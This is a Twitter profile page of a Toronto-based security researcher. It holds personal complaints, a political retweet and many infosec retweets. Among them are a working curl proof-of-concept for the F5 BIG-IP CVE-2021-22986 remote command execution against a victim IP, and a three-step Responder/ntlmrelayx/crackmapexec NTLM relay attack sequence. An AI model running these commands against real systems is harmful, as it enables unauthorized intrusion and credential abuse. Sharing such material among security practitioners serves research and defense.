Crypto, malware analysis, reverse engineering, security researcher, and PCI DSS shenanigans.
Toronto, Ontario
Joined January 2010
- Tweets3.2K
- Following1.1K
- Followers1.4K
- Likes15.2K
Pinned Tweet
What happens when you take @kalilinux + @P4wnP1 script + Raspberry Pi zero w + your own open-source GSM/Data Network ? Very long range pwning. “Write-up coming soon” @kfalconspb @linuxtoday @nixcraft @k4linux
@FedExCanada why do I pay so much to have an item delivered, if it has been in my city for a week and delayed 3 times? Only to get an online note that I need to pick it up across the city.
@FedExCanada why charge clients a premium for delivery to a residence if delivery is never going to be attempted. Assigning a pickup spot is useless if the client is unable to get to said spot because of illness, may be bedridden, or incapable. #worstservice
jermainlaforce 🇨🇦 retweeted
@FedExCanada why do I pay so much to have an item delivered, if it has been in my city for a week and delayed 3 times? Only to get an online note that I need to pick it up across the city.
jermainlaforce 🇨🇦 retweeted
The Rise of Potatoes: Privilege Escalations in Windows Services
#infosec #pentest #redteam
youtube.com/watch?app=deskto…
jermainlaforce 🇨🇦 retweeted
1) Instagram sends WiFi BSSIDs to Facebook/Meta: problem of the users
2) They also collect nearby WiFis with RSSI: Problem for many
3) They also collect received BLE beacons: Problem for everyone (think of BLE Exposure Notifications)
4) Geo referenced? Of course, with GPS!
jermainlaforce 🇨🇦 retweeted
ObliqueRAT returns with new campaign using hijacked websites dlvr.it/Rvy9mg #security #threathunting #infosec
jermainlaforce 🇨🇦 retweeted
StandIn - A Small .NET35/45 AD Post-Exploitation Toolkit dlvr.it/RvvMPH #ActiveDirectory #DCSYNC #DetectionEngineering #LDAP
jermainlaforce 🇨🇦 retweeted
F5 BIG-IP iControl RCE (CVE-2021-22986)
execute arbitrary system commands
create or delete files
disable services
PoC #1
curl -su admin: -H "Content-Type: application/json" http://[victimIP]/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}'
attackerkb.com/topics/J6pWeg…
jermainlaforce 🇨🇦 retweeted
Automation Time-based Blind SQL injection on HTTP Headers Using Blisqy tool by @JohnTroony .
github.com/JohnTroony/Blisqy
#BugBounty #bugbountytip
jermainlaforce 🇨🇦 retweeted
In case you want to see something cool about CrackMapExec, ntlmrelayx and Responder 😌😋
1⃣ Responder -I eth0
2⃣ ntlmrelayx.py -t <ip> -smb2support -socks
3⃣ proxychains crackmapexec smb <ip> -u <user> -p '' -d <domain>
jermainlaforce 🇨🇦 retweeted
Kalief Browder allegedly stole a backpack at 16, spent 3 yrs at Riker's Island without trial.
Riley Williams stole a laptop from Speaker Pelosi's office and tried selling it the Russians. She was released to her mother
There are two justice systems in America #BlackLivesMatter
jermainlaforce 🇨🇦 retweeted
I will be presenting on a new board, Hunter Cat NFC, with a new NFC controller at @ekoparty radio. A twisted team-work project with @electronicats, stay tuned!
USB device ID listing, for those who like HID attacks.
opensource.com/article/20/8/…
jermainlaforce 🇨🇦 retweeted
Opensource Long range text communicator + 3G voice/data/sms cellular phone with a RPI ZERO W inside. Opensource Rasbian to get your freedom back.
Facebook group: facebook.com/groups/20429748…
Project web site: blakrpi.com (subscribe to our newletter there)
jermainlaforce 🇨🇦 retweeted
FEMU 1.0.4.ty (01005) update
I'll swap out the 0201 components of the pi network with 01005 to keep the RF trace a consistent width.
I'll then reupload the gerbers.
Current design passed review! Cost: $532 + tax/shipping (10pcbs)
Want to help? RT or 💵 ko-fi.com/femtoduino
